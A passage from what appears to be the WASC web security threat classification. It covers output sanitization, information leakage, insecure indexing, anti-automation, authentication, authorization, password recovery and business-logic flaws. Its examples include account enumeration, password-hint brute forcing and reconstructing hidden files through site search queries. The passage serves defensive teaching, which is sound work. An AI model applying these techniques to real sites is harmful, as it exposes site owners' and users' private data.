While a subset of HTML tags, the application data inside <script> tags deserves special attention. Applications that include data as script variable content must quote and escape or in some way insure that the text is treated as data and not executable script, or otherwise risk the introduction of a variety of attacks. Even when data is properly escaped it may eventually be passed to a standard VBScript or JavaScript function such as "eval", which may lead to cross-site scripting and other attacks. Notable attacks include Cross-Site Scripting [7], Cross-Site Request Forgery [25], and Content Spoofing [6].

Inside XML Messages

XML in its ubiquity can be found at almost every layer of web applications, including web service messages, XHTML, XSL transforms, AJAX messages, and object serialization. Application data inserted into XML requires escaping or risks being treated as XML markup in much the same way as HTML. Additionally, even when properly encoded, some XML messages types give certain attributes and content

special meaning that may be interpreted in such a way as to lead to a vulnerability. Notable attacks include XML Injection [15], SOAP Array Abuse , XML External Entities , XML Entity Expansion , and XML Attribute Blowup .

Inside SQL Queries

Web applications are often backed by relational databases to persist and report on data. Applications must insure that SQL queries based upon user influenced data will not allow the data to be interpreted as instructions to the database. Notable attacks include SQL Injection [20].

Inside JavaScript Object Notation (JSON) Messages

JSON is a data serialization construct derived from the JavaScript language that is often used by Ajax developers. JSON typically utilizes the JavaScript eval() function for object creation, if an attacker can influence the content/structure of a JSON message a compromise of the DOM is likely. All dynamic data needs to be properly sanitized prior to being included within a JSON message. In particular, quotes or double-quotes need to be escaped when placed in keys or values to ensure the message structure cannot be compromised. Notable JSON attacks include Cross-Site Scripting [7], Cross-Site Request Forgery [25], and Content Spoofing [6].

Inside Cascading Style Sheets (CSS)

Cascading style sheets (CSS) are typically utilized as external references for formatting the appearance of HTML pages. It is common practice to auto generate CSS, and apply it to the page via the "style" HTML element or tag. User influenced data included within CSS should be explicitly sanitized to prevent the injection, and execution of a user controlled CSS content. Notable attacks include Cross-Site Scripting [7], Cross-Site Request Forgery [25], and Content Spoofing [6].

Character Set and Encoding Considerations

For a client to safely interpret data, it is important for the server to explicitly specify the appropriate charsets [28]. A common mistake involves a website failing to provide a character set within HTML content (within the meta 'content' attribute), or within the HTTP 'Content-Type' response header. In 2005 an XSS vulnerability was discovered in a major website [27] due to a failure of specifying a character set/encoding [28] such as UTF8. Due to the content inspection behavior of browsers such as Internet Explorer, an attacker was capable of injecting UTF7 into a webpage lacking a charset and execute a malicious payload without the use of

metacharacters. Ensure that prior to outputting user controlled data to a consumer, that the appropriate charset/encoding is specified.

Unicode and Internationalization

Most Unicode abuses involve either attacking how the data is visualized when presented to the user, or how data is transformed. Extensive information on Unicode visualization, and transformation based attacks can be found in [29] and [31]. Notable Unicode attacks include Content Spoofing, and Directory Traversal.

Output Sanitization

Output sanitization can be performed by transforming data from its original form to an acceptable form either by removal of that data, or by encoding or decoding it. Common encoding methods used in web applications include the HTML entity encoding and URL Encoding schemes. HTML entity encoding serves the need for encoding literal representations of certain meta-characters to their corresponding character entity references. Character references for HTML entities are pre-defined and have the format &NAME; where "name" is a case-sensitive alphanumeric string.

A common example of HTML entity encoding is where "<" is encoded as < and ">" encoded as > . URL encoding applies to parameters and their associated values that are transmitted as part of HTTP query strings. Likewise, characters that are not permitted in URLs are represented using their Unicode Character Set code point value, where each byte is encoded in hexadecimal as "%HH". For example, "<" is URL-encoded as "%3C" and "ÿ" is URL-encoded as "%C3%BF". Refer to [1] for comprehensive information on character encoding solutions.

Output Filtering

Output Filtering is a decision making process that leads either to the acceptance or the rejection of output based on predefined criteria. In its most basic form, output filtering deals with matching or comparing a data stream with a predefined set of characters to determine acceptability. Acceptable data is passed forward for processing and unwanted characters are either blocked/stripped or transformed thus preventing the application from processing unrecognized and potentially malicious output. There are two major approaches to output filtering [2]:

- Whitelist – Allowing *only* the *known good characters*. E.g. a-z,A-Z,0-9 are known good characters in the whitelist and are hence accepted by the filter.

- Blacklist – Allowing *anything except* the *known bad characters*. E.g. <,/,> are known bad characters in the blacklist and are hence blocked by the filter

There are advantages and disadvantages to both approaches. Blacklist based filtering is widely used as it is fairly easy to implement, but offers protection only from known threats. Characters in a blacklist can be modeled to evade filtering as the filter only blocks known bad characters; an attacker can specially craft an attack to avoid those specific characters. Researchers have demonstrated several ways of evading blacklist based filtering approaches. The XSS cheat sheet [5] and SQL cheat sheet [24] are classic examples of how filter evasion techniques can be used against blacklist based approaches. Both Mitre [22] and NVD [23] host several advisories describing vulnerabilities due to poor blacklist filtering implementations.

Whitelist based filtering is often more difficult to implement properly. Although proven efficient with virus and malware protection techniques, it can be difficult to compile a list of all good input that a system can accept.

A common approach to perform filtering, validation and sanitization is through the use of a regex (Regular Expressions) [23]. Regular Expressions provide a concise and flexible means of identifying patterns in a given data set. Many ready-made regular expressions that deal with common input/output related attacks such as SQL Injection [20], OS Commanding [11] and Cross-Site Scripting [7] are available on the Internet. While these regular expressions may be simple to copy into an application, it is important for developers using them to ensure they are evaluating the requirements for their expected input streams.

For XML based applications, XML Schema Validation [30][32] is a popular approach for applying Input/Output Filtering to XML messages. XML Schemas provide formatting and processing instructions for parsers when interpreting XML documents. Schemas are used for all of the major XML standard grammars coming out of OASIS. A schema file is what an XML parser uses to understand the XML's grammar and structure, and contains essential preprocessor instructions. Schema Validation is a method of checking to see if an XML document conforms to a set of constraints. Schema Validation used in a security context is often called schema hardening.

Commercial companies like Microsoft and open source communities like OWASP have ongoing efforts to provide protection tools against some of the common attacks mentioned above. Microsoft's Anti Cross-Site Scripting Library [26] not only guides its users and developers with putting measures in place to thwart cross-site

scripting attacks, but also provides insight into alternatives for proper input and output encoding where its library routines may not apply. OWASP's ESAPI project [3] provides guidelines and primary defenses against SQL Injection attacks. It also provides details on database specific SQL escaping requirements to help escape/encode user input before concatenating it with a SQL query. SQL escaping, as advocated in EASPI, uses DBMS character escaping schemes to convert input that can be characterized by the SQL engine as data instead of code.

REFERENCES

Character encodings in HTML

[1] http://en.wikipedia.org/wiki/Character_encodings_in_HTML

Secure input and output handling

[2] http://en.wikipedia.org/wiki/Secure_input_and_output_handling

OWASP Enterprise Security API

[3] http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

OWASP XSS (Cross-Site Scripting) Prevention Cheat Sheet

[4] http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS (Cross-Site Scripting) Cheat Sheet

[5] http://ha.ckers.org/xss.html

Content Spoofing

[6] http://projects.webappsec.org/Content-Spoofing

Cross-Site Scripting

[7] http://projects.webappsec.org/Cross-Site-Scripting

HTTP Response Splitting

[8] http://projects.webappsec.org/HTTP-Response-Splitting

HTTP Response Smuggling

[9] http://projects.webappsec.org/HTTP-Response-Smuggling

LDAP Injection

[10] http://projects.webappsec.org/LDAP-Injection

OS Commanding

[11] http://projects.webappsec.org/OS-Commanding

Routing Detour

[12] http://projects.webappsec.org/Routing-Detour

SOAP Array Abuse

[13] http://projects.webappsec.org/SOAP-Array-Abuse

URL Redirector Abuse

[14] http://projects.webappsec.org/URL-Redirector-Abuse

XML Injection

[15] http://projects.webappsec.org/XML-Injection

XQuery Injection

[16] http://projects.webappsec.org/XQuery-Injection

XPath Injection

[17] http://projects.webappsec.org/XPath-Injection

Mail Command Injection

[18] http://projects.webappsec.org/Mail-Command-Injection

Null Byte Injection

[19] http://projects.webappsec.org/Null-Byte-Injection

SQL Injection

[20] http://projects.webappsec.org/SQL-Injection

WASC Script Mapping Project

[21] http://projects.webappsec.org/Script-Mapping

CVE at Mitre

[22] http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=blacklist

National Vulnerability Database

[23] http://nvd.nist.gov/

SQL Cheat Sheet

[24] http://ha.ckers.org/sqlinjection/

Cross-Site Request Forgery

[25] http://projects.webappsec.org/Cross-Site-Request-Forgery

Microsoft Anti-Cross-Site Scripting Library V3.0

[26] http://www.microsoft.com/downloads/details.aspx?FamilyId=051ee83c-5ccf-48ed-8463-02f56a6bfc09&displaylang=en

Google's XSS Vulnerability

[27] http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

Character Sets

[28] http://en.wikipedia.org/wiki/Universal_Character_Set

CasabaSecurity Unicode Vulnerability and Defense Research

[29] http://www.casabasecurity.com/category/categories/unicode

W3C XML Schema

[30] http:// www.w3.org/XML/Schema

Attacking Internationalized Software

[31] http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Stender.pdf

XML Document Validation with an XML Schema

[32] http://onjava.com/pub/a/onjava/2004/09/15/schema-validation.html

INFORMATION LEAKAGE (WASC-13)

Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users. Therefore, leakage of sensitive data should be limited or prevented whenever possible. Information Leakage, in its most common form, is the result of one or more of the following conditions: A failure to scrub out HTML/Script comments containing sensitive information, improper application or server configurations, or differences in page responses for valid versus invalid data.

Failure to scrub HTML/Script comments prior to a push to the production environment can result in the leak of sensitive, contextual, information such as server directory structure, SQL query structure, and internal network information. Often a developer will leave comments within the HTML and/or script code to help facilitate the debugging or integration process during the pre-production phase. Although there is no harm in allowing developers to include inline comments within the content they develop, these comments should all be removed prior to the content's public release.

Software version numbers and verbose error messages (such as ASP.NET version numbers) are examples of improper server configurations [7]. This information is useful to an attacker by providing detailed insight as to the framework, languages, or pre-built functions being utilized by a web application. Most default server configurations provide software version numbers and verbose error messages for debugging and troubleshooting purposes. Configuration changes can be made to disable these features, preventing the display of this information.

Pages that provide different responses based on the validity of the data can also lead to Information Leakage; specifically when data deemed confidential is being revealed as a result of the web application's design. Examples of sensitive data includes (but is not limited to): account numbers, user identifiers (Drivers license number, Passport number, Social Security Numbers, etc.) and user-specific information (passwords, sessions, addresses). Information Leakage in this context deals with exposure of key user data deemed confidential, or secret, that should not be exposed in plain view, even to the user. Credit card numbers and other heavily regulated information are prime examples of user data that needs to be further protected from exposure or leakage even with proper encryption and access controls already in place.

Please refer to Insufficient Authentication [8] and Insufficient Authorization [9] for further issues related to protecting and enforcing proper controls over access to data.

EXAMPLE

As mentioned above, there are three general categories of Information Leakage: Insufficient censorship of application content, Improper server configurations, or Dangerous application behavior.

DEVELOPER COMMENTS LEFT IN PAGE RESPONSES

```
<TABLE border=”0” cellPadding=”0” cellSpacing=”0” height=”59” width=”591”>
  <TBODY>
  <TR>
    <!–If the image files fail to load, check/restart 192.168.0.110 →
    <TD bgColor=”#ffffff” colSpan=”5” height=”17” width=”587”> </TD>
  </TR>
```

Here we see a comment left by the development/QA personnel indicating what one should do if the image files do not show up. The information being disclosed is the internal IP address of the content server that is mentioned explicitly in the code, “**192.168.0.110**”.

IMPROPER APPLICATION OR SERVER CONFIGURATIONS

This example of a verbose error message would be the response to an invalid SQL query. SQL Injection attacks do not require any prior knowledge, however the attack process can be greatly expedited by providing the attacker any knowledge related to the structure or format of SQL queries being used by the target application. The information leaked by a verbose error message can provide detailed information on how to construct valid SQL queries for the backend database.

The following was returned when placing an apostrophe into the username field of a login page. Improper server configurations:

```
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query
expression ‘username = ‘’’ and password = ‘g’’. at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling ( Int32 hr) at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult ( tagDBPARAMS
dbParams,  Object& executeResult) at
```

In the first error statement, a syntax error is reported. The error message reveals the query parameters that are used in the SQL query: username and password. This leaked information will greatly assist an attacker in beginning to construct SQL Injection attacks against the web application. Please refer to SQL Injection [10] for additional information and solutions.

DIFFERENCES IN PAGE RESPONSE BEHAVIORS

The following is an example of a "forgot password" feature that was included to make an application more "user friendly". However, due to the public access of this feature, an attacker can use this functionality to find valid email addresses or account names.

```
The password recovery flow performs the following steps:

1. Ask user for username/email
   -  If username/email is valid continue to steps 2 & 3
   -  If username/email is invalid error with following message: "The
   username/email you submitted was invalid!"
2. Message the user that a mail has been sent to their account
3. Send user a link allowing them to change their password
```

Information leakage occurs once the entered email address and/or account name is confirmed prior to step-2. The difference in behavior allows an attacker to deduce valid email addresses and/or account names.

REFERENCES

"Best practices with custom error pages in .Net" Microsoft Support

[1] http://support.microsoft.com/default.aspx?scid=kb;en-us;834452

"Creating Custom ASP Error Pages" Microsoft Support

[2] http://support.microsoft.com/default.aspx?scid=kb;en-us;224070

"Apache Custom Error Pages" Code Style

[3] http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml

"Customizing the Look of Error Messages in JSP" DrewFalkman.com

[4] http://www.drewfalkman.com/resources/CustomErrorPages.cfm

ColdFusion Custom Error Pages

[5] http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion_MX_Applications_with_CFML/Errors6.htm

Obfuscators: JAVA

[6] http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf

Server Misconfiguration

[7] http://projects.webappsec.org/Server-Misconfiguration

Insufficient Authentication

[8] http://projects.webappsec.org/Insufficient-Authentication

Insufficient Authorization

[9] http://projects.webappsec.org/Insufficient-Authorization

SQL Injection

[10] http://projects.webappsec.org/SQL-Injection

Fingerprinting

[11] http://projects.webappsec.org/Fingerprinting

Information Leak (Information Disclosure)

[12] http://cwe.mitre.org/data/definitions/200.html

INSECURE INDEXING (WASC-48)

Insecure Indexing is a threat to the data confidentiality of the web-site. Indexing web-site contents via a process that has access to files which are not supposed to be publicly accessible has the potential of leaking information about the existence of such files, and about their content. In the process of indexing, such information is collected and stored by the indexing process, which can later be retrieved (albeit not trivially) by a determined attacker, typically through a series of queries to the search engine. The attacker does not thwart the security model of the search engine. As such, this attack is subtle and very hard to detect and to foil – it's not easy to distinguish the attacker's queries from a legitimate user's queries.

BACKGROUND

As websites becomes larger and more complex, the user's problem of how to find the information he/she needs in the site becomes more central to the site owner. This is where search engines come in handy. A search engine first "learns" the website by looking at its pages, associating keywords to them and updating its internal database (this is called indexing), and then, when a user submits a query to the search engine, the search engine consults its database and pulls out the list of relevant pages. The indexing process is ongoing, to ensure that the search engine is up to date with the site (which changes periodically). There are two kinds of indexing – remote (web/HTTP based) and local (file based). In web/HTTP based indexing, the search engine traverses the website by "crawling" it through the site's native web server, typically starting at the homepage of the site and recursively following links from it. This process can be conducted remotely (and locally), and it

is indeed used by remote (3rd party) search engines such as Google and Yahoo. In file based indexing, on the other hand, the search engine needs to have direct access to the web server's file-system (hence it has to be run locally), and it indexes the site by going over all files in the file system (up to some exceptions) under the virtual root. Many local search engines make use of this technique. In some cases, this indexing method may open up the site for attacks, as we can see below.

EXAMPLE 1: FINDING A HIDDEN FILE

Suppose the attacker suspects that vendor X is about to publish a security advisory on their website. Also suppose that the attacker knows that part of the publishing process, the file is uploaded to the website few days (or weeks) before the advisory is published. The file resides on the web server, yet it is not linked from anyplace. Further suppose that the file name is unpredictable. Assuming that the site operates a search engine that *locally* indexes server *files*, and that it has recently indexed the site (so it encountered the advisory file as well), the attacker can now guess a word or two that are likely to appear in an advisory (e.g. maybe "Vendor X advisory X-Adv-07-"), and with luck, the search engine will display a URL to the unpublished advisory. And if the site is really insecure, the URL will be downloadable by the attacker.

The main issue demonstrated above is that the mere indexing of the file leaked sensitive information (namely, that such file exists).

EXAMPLE 2: RETRIEVING FILE CONTENTS

Suppose the attacker knows that a certain file exists, yet it is not publicly available (e.g. it requires basic authentication). This can be done via the technique demonstrated in Example 1, or it may happen that the file name is predictable. Now, since this file is indexed, every time the attacker queries the search engine for a word (or a sequence of words) that exists in the file, the URL is returned by the search engine. Some engines also provide a short "context", i.e. the surrounding words/sentences that encompass the found query text. The attacker can reconstruct wide sections of the file (ideally: the whole file) by first guessing a word or two that exist in the file, and then widening the search. For instance, if the search engine returns contextual data, and resorting to the advisory example above, the initial guess may be "buffer overflow". This will return:

... Remotely exploitable buffer overflow in server XYZ ...

Now the attacker widens the search, by querying:

"overflow in server XYZ"

The search engine returns:

... exploitable buffer overflow in server XYZ, version 0.1 for Linux.

And the attacker slides the search window to the right:

"in server XYZ, version 0.1 for Linux."

The search engine returns:

... buffer overflow in server XYZ, version 0.1 for Linux. By sending a series ...

And so forth. As long as the sliding window contains enough information for the attacker to locate the advisory text (from other candidates presented by the search engine), this attack may succeed. The main issue demonstrated is that search engines can leak information to which they have access, yet the public does not.

EXAMPLE 3: RETRIEVING FILE CONTENTS, THE HARD WAY

In Example 2, we assumed that some "context" was returned by the search engine, which is very helpful for the attacker. However, some engines do not provide such data, which makes the information received from such engine into a single Boolean (bit) value – "true" (query was found in the file) or "false" (query was not found). Not all is lost though – if the attacker is willing to throw many (and we mean many!) queries at the search engine, the file (or sections thereof) may still be reconstructed. This is not as theoretic as some may think. Sometimes, reconstructing a single sentence from a sensitive file can mean a lot, and may worth bombarding the site with hundreds of thousands of requests. The attack proceeds as following. The attacker has an initial guess (e.g. "buffer overflow"). The attacker queries the search engine and gets back the URL for the file, or in our Boolean variable terms, "true". Now the attacker is out of ideas, but he may try the short version of the English dictionary, peppered with computer science terms, vendor and product names, etc. Let's say the dictionary contains 100,000 such words. Appending each such word to the already known string "buffer overflow" and querying the search engine (100,000 times!), the attacker gets "false" for each attempt, except for the word "in". So "buffer overflow in" it is. Next, with additional 100,000 queries, the attacker can reconstruct "buffer overflow in server", and with additional 100,000 – "buffer overflow in server XYZ" (assuming XYZ is a well known vendor name, hence in the extended dictionary). In short, for 700,000 queries, the attacker can reconstruct "buffer overflow in server XYZ, version 0.1 for Linux". And this can obviously be much improved by taking into account language syntax and probabilities for pairs of words (e.g. "buffer overflow" is likely to be followed by "in", hence guessing "buffer overflow in" among the first guesses will save the attacker the vast majority of the 100,000 queries in this case. Likewise, "version x.y for" is likely to be followed by an O/S name, again shortening the guess list to few dozen instead of 100,000).

The main issue is just like Example 2, except that the information leakage is more subtle here (at most one bit per query), which makes the attack is less trivial (but nonetheless feasible).

REFERENCES

"The Insecure Indexing Vulnerability – Attacks Against Local Search Engines" (WASC article), Amit Klein, February 28th, 2005

[1] http://www.webappsec.org/projects/articles/022805.shtml

See also 'Application Misconfiguration'

[2] http://projects.webappsec.org/Application-Misconfiguration

See also 'Information Leakage'

[3] http://projects.webappsec.org/Information-Leakage

Information Leak Through Indexing of Private Data

[4] http://cwe.mitre.org/data/definitions/612.html

INSUFFICIENT ANTI-AUTOMATION (WASC-21)

Insufficient Anti-automation occurs when a web application permits an attacker to automate a process that was originally designed to be performed only in a manual fashion, i.e. by a human web user.

Web application functionality that is often a target for automation attacks may include:

- Application login forms – attackers may automate brute force login requests in an attempt to guess user credentials
- Service registration forms – attackers may automatically create thousands of new accounts
- Email forms – attackers may exploit email forms as spam relays or for flooding a certain user's mailbox
- Account maintenance – attackers may perform mass DoS against an application, by flooding it with numerous requests to disable or delete user accounts

- Account information forms – attackers may perform mass attempts to harvest user personal information from a web application
- Comment forms / Content Submission forms – these may be used for spamming blogs, web forums and web bulletin boards by automatically submitting contents such as spam or even web-based malware
- Forms tied to SQL database queries – these may be exploited in order to perform a denial of service attack against the application. The attack is performed by sending numerous heavy SQL queries in a short period of time, hence denying real users from service.
- eShopping / eCommerce – eShopping and eCommerce applications that do not enforce human-only buyers, can be exploited in order to buy preferred items in large amounts, such as sporting events tickets. These are later sold by scalpers for higher prices.
- Online polls – polls and other types of online voting systems can be automatically subverted in favor of a certain choice.
- Web-based SMS message sending – attackers may exploit SMS message sending systems in order to spam mobile phone users

EXAMPLE

A simple example of Insufficient Anti-automation, is an application that allows users to view their account details, by directly accessing a URL similar to the following:

```
http://www.some.site/app/accountDetails.aspx?UserID=XYZ
```

Where XYZ denotes an Account ID number.

If the application issues predictable (or enumerable) Account ID numbers, and also does not employ anti-automation mechanisms, an attacker could write an automated script, which would submit massive amounts of HTTP requests, each with a different Account ID number, and then harvest user account information from the response page.

In this example, the application suffered from several vulnerabilities, all of which contributed to the success of the attack –

- Insufficient Anti-automation: web users were allowed to submit a large amount of service requests, without any mechanism to limit them. For example, After 3 invalid attempts, the IP address should have been blocked for a "chilling period", or should require that the user will contact the service provider over the phone

- Insufficient Authentication: unauthenticated web users were allowed to access sensitive application functionality

CAPTCHA

A common practice for protecting against automation attacks is the implementation of CAPTCHA mechanisms in web applications. CAPTCHA stands for "Completely Automated Public Turing test to Tell Computers and Humans Apart".

Common CAPTCHA mechanisms may include:

- Distorted text inside images, where the user has to type the text
- Simple math questions such as: "How much is 2+2?"
- Audio CAPTCHA, where the user has to type the word that is played
- Common sense questions such as: "What is the capital city of Australia?"

It is worth noting, the some common CAPTCHA implementations have been proven to be insecure and/or breakable, for example:

- Insecure design and/or implementation of CAPTCHA mechanisms (replay attacks, reverse engineering, etc.)
- Solving image-based CAPTCHA using OCR techniques
- Solving audio-based CAPTCHA using sound analysis

REFERENCES

CAPTCHA: Telling Humans and Computers Apart Automatically:

[1] http://www.captcha.net/

"Porn gets spammers past Hotmail, Yahoo barriers" (CNET news):

[2] http://news.cnet.com/2100-1023_3-5207290.html

"Next-Generation CAPTCHA Exploits the Semantic Gap":

[3] http://tech.slashdot.org/article.pl?sid=08/04/23/0044223

"Vorras Antibot":

[4] http://www.vorras.com/products/antibot/

"Inaccessibility of Visually-Oriented Anti-Robot Tests"

[5] http://www.w3.org/TR/2003/WD-turingtest-20031105/

"Breaking a Visual CAPTCHA":

[6] http://www.cs.sfu.ca/~mori/research/gimpy/

"Cracking CAPTCHAs for Fun and Profit":

[7] http://alwaysmovefast.com/2007/11/21/cracking-captchas-for-fun-and-profit/

"PWNtcha – CAPTCHA Decoder":

[8] http://caca.zoy.org/wiki/PWNtcha

"Computer scientists find audio CAPTCHAs easy to crack":

[9] http://arstechnica.com/news.ars/post/20081208-computer-scientists-find-audio-captchas-easy-to-crack.html

"PC stripper helps spam to spread":

[10] http://news.bbc.co.uk/2/hi/technology/7067962.stm

"Spam surges as Google's CAPTCHA falters":

[11] http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9118884

Brute Force Attack

[12] http://projects.webappsec.org/Brute-Force

INSUFFICIENT AUTHENTICATION (WASC-01)

Insufficient Authentication occurs when a web site permits an attacker to access sensitive content or functionality without having to properly authenticate. Web-based administration tools are a good example of web sites providing access to sensitive functionality. Depending on the specific online resource, these web applications should not be directly accessible without requiring the user to properly verify their identity.

To get around setting up authentication, some resources are protected by "hiding" the specific location and not linking the location into the main web site or other public places. However, this approach is nothing more than "Security Through Obscurity". It's important to understand that even though a resource is unknown to an attacker, it still remains accessible directly through a specific URL. The specific URL could be discovered through a Brute Force probing for common file and directory locations (/admin for example), error messages, referrer logs, or

documentation such as help files. These resources, whether they are content- or functionality-driven, should be adequately protected.

EXAMPLE

Many web applications have been designed with administrative functionality located directly off of the root directory (/admin/). This directory is usually never linked from anywhere on the web site, but can still be accessed using a standard web browser. The user or developer never expected anyone to view this page because it is not linked, so enforcing authentication is many times overlooked. If attackers were to simply visit this page, they would obtain complete administrative access to the web site.

REFERENCES

NTLM, Wikipedia

[1] http://en.wikipedia.org/wiki/NTLM

Authentication, Wikipedia

[2] http://en.wikipedia.org/wiki/Authentication

Digest Authentication, Wikipedia

[3] http://en.wikipedia.org/wiki/Digest_access_authentication

Improper Authentication

[4] http://cwe.mitre.org/data/definitions/287.html

INSUFFICIENT AUTHORIZATION (WASC-02)

Insufficient Authorization results when an application does not perform adequate authorization checks to ensure that the user is performing a function or accessing data in a manner consistent with the security policy. Authorization procedures should enforce what a user, service or application is permitted to do. When a user is authenticated to a web site, it does not necessarily mean that the user should have full access to all content and functionality.

INSUFFICIENT FUNCTION AUTHORIZATION

Many applications grant different application functionality to different users. A news site will allows users to view news stories, but not publish them. An accounting system will have different permissions for an Accounts Payable clerk and an Accounts Receivable clerk. Insufficient Function Authorization happens when an application does not prevent users from accessing application functionality in violation of security policy.

A very visible example was the 2005 hack of the Harvard Business School's application process. An authorization failure allowed users to view their own data when they should not have been allowed to access that part of the web site.

INSUFFICIENT DATA AUTHORIZATION

Many applications expose underlying data identifiers in a URL. For example, when accessing a medical record on a system one might have a URL such as:

```
http://example.com/RecordView?id=12345
```

If the application does not check that the authenticated user ID has read rights, then it could display data to the user that the user should not see.

Insufficient Data Authorization is more common than Insufficient Function Authorization because programmers generally have complete knowledge of application functionality, but do not always have a complete mapping of all data that the application will access. Programmers often have tight control over function authorization mechanisms, but rely on other systems such as databases to perform data authorization.

REFERENCES

"HBS To Reject Snooping Hopefuls." Harvard Crimson

[1] http://www.thecrimson.com/article.aspx?ref=506247

"Data lapse involved 51,000 at a hospital"

[2] http://www.webappsec.org/projects/whid/list_id_2007-35.shtml

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler – iDEFENSE Labs.

[3] http://www.cgisecurity.com/lib/SessionIDs.pdf

INSUFFICIENT PASSWORD RECOVERY (WASC-49)

Insufficient Password Recovery is when a web site permits an attacker to illegally obtain, change or recover another user's password. Conventional web site authentication methods require users to select and remember a password or passphrase. The user should be the only person that knows the password and it must be remembered precisely. As time passes, a user's ability to remember a password fades. The matter is further complicated when the average user visits 20 sites requiring them to supply a password. (RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm) Thus, password recovery is an important part in servicing online users.

Examples of automated password recovery processes include requiring the user to answer a "secret question" defined as part of the user registration process. This question can either be selected from a list of canned questions or supplied by the user. Another mechanism in use is having the user provide a "hint" during registration that will help the user remember his password. Other mechanisms require the user to provide several pieces of personal data such as their social security number, home address, zip code etc. to validate their identity. After the user has proven who they are, the recovery system will display or e-mail them a new password.

A web site is considered to have Insufficient Password Recovery when an attacker is able to foil the recovery mechanism being used. This happens when the information required to validate a user's identity for recovery is either easily guessed or can be circumvented. Password recovery systems may be compromised through the use of brute force attacks, inherent system weaknesses, or easily guessed secret questions.

EXAMPLES

Information Verification

Many web sites only require the user to provide their e-mail address in combination with their home address and telephone number. This information can be easily obtained from any number of online white pages. As a result, the verification

information is not very secret. Further, the information can be compromised via other methods such as Cross-site Scripting and Phishing Scams.

Password Hints

A web site using hints to help remind the user of their password can be attacked because the hint aids Brute Force attacks. A user may have fairly good password of "122277King" with a corresponding password hint of "bday+fav author". An attacker can glean from this hint that the user's password is a combination of the users birthday and the user's favorite author. This helps narrowing the dictionary Brute Force attack against the password significantly.

Secret Question and Answer

A user's password could be "Richmond" with a secret question of "Where were you born". An attacker could then limit a secret answer Brute Force attack to city names. Furthermore, if the attacker knows a little about the target user, learning their birthplace is also an easy task.

REFERENCES

"Protecting Secret Keys with Personal Entropy", By Carl Ellison, C. Hall, R. Milbert, and B. Schneier

[1] http://www.schneier.com/paper-personal-entropy.html

"Emergency Key Recovery without Third Parties", Carl Ellison

[2] http://theworld.com/~cme/html/rump96.html

INSUFFICIENT PROCESS VALIDATION (WASC-40)

Insufficient Process Validation occurs when a web application fails to prevent an attacker from circumventing the intended flow or business logic of the application. When seen in the real world, insufficient process validation has resulted in ineffective access controls and monetary loss.

There are two main types of processes that require validation: flow control and business logic.

"Flow control" refers to multi-step processes that require each step to be performed in a specific order by the user. When an attacker performs the step incorrectly or out of order, the access controls may be bypassed and an application integrity error may occur. Examples of multi-step processes include wire transfer, password recovery, purchase checkout, and account sign-up.

"Business logic" refers to the context in which a process will execute as governed by the business requirements. Exploiting a business logic weakness requires knowledge of the business; if no knowledge is needed to exploit it, then most likely it isn't a business logic flaw.[1] Due to this, typical security measures such as scans and code review will not find this class of weakness. One approach to testing is offered by OWASP in their Testing Guide.[2]

FLOW CONTROL EXAMPLES

- Yahoo had a promotional offer where if you deposited USD $30 into an advertising account, Yahoo would then add an additional USD $50 to that account. The sign-up process was able to be circumvented in such a way that failing to deposit the requisite USD $30 still allowed the additional USD $50 to be credited to the account.[3]
- Tower Records' form validation assumed that the user would fill out a form in the order presented, but in reality, some users filled out the bottom portion first, triggering a bug that wasn't caught during development and resulted in the loss of sales.[4]
- YouTube restricts some videos to users that are 18-years-old and older on their site. However, if the same video is embedded in another site, then the process that filters the videos is bypassed, allowing anyone of any age to view the video.[5]
- MySpace restricts access to private user photos, but when they launched a new service that allowed sharing of data with Yahoo, the process contained a flaw that allowed access to private user photos via Yahoo.[6]

- AT&T offered free wi-fi service to iPhone users, but to distinguish the iPhone users from the rest, AT&T used the user-agent and an iPhone phone number to determine who received the free service. By changing the user-agent and providing a phone number to any iPhone account, users of other devices were able to obtain free wi-fi service.[7]

BUSINESS LOGIC EXAMPLES

- E-trade and Schwab, in their sign-up process, failed to validate a limit of one bank account per any given user, allowing an attacker to assign the same bank account to tens of thousands of users, resulting in a loss of USD $50,000.00.[8]
- QVC lost more than USD $412,000.00 when a woman discovered she could purchase items via the QVC website, immediate cancel her order, but still receive the items.[9]
- An attacker posing as a legitimate eBay buyer was able to purchase a computer, remove expensive components from it, then return it as "destroyed" to the seller, successfully bypassing business policy controls for eBay, PayPal and UPS.[10]

ADDITIONAL EXAMPLES

- Please see the Web Hacking Incidents Database for additional, real-world examples.[11]

REFERENCES

OWASP: Business logic vulnerability

[1] http://www.owasp.org/index.php/Business_logic_vulnerability

OWASP: Testing for business logic (OWASP-BL-001)

[2] http://www.owasp.org/index.php/Testing_for_business_logic

Yahoo SEM Logic Flaw

[3] http://ha.ckers.org/blog/20080616/yahoo-sem-logic-flaw/

Tower Records Tunes Its Site

[4] http://www.storefrontbacktalk.com/story/021005tower.php

Youtube's 18+ Filters Don't Work

[5] http://www.darkseoprogramming.com/2008/06/01/youtubes-18-filters-dont-work/

Paris and Lindsay Hacked Again (There's a Lesson Here, Really)

[6] http://blogs.wsj.com/biztech/2008/06/03/paris-and-lindsay-hacked-again-theres-a-lesson-here-really/

Apple and AT&T providing free Wi-Fi access to iPhone users and oops… to everyone else as well!

[7] http://blogs.zdnet.com/security/?p=1067

Man Allegedly Bilks E-trade, Schwab of $50,000 by Collecting Lots of Free 'Micro-Deposits'

[8] http://blog.wired.com/27bstroke6/2008/05/man-allegedly-b.html

Woman admits to exploiting glitch on QVC site

[9] http://www.msnbc.msn.com/id/21534526/

New eBay Fraud

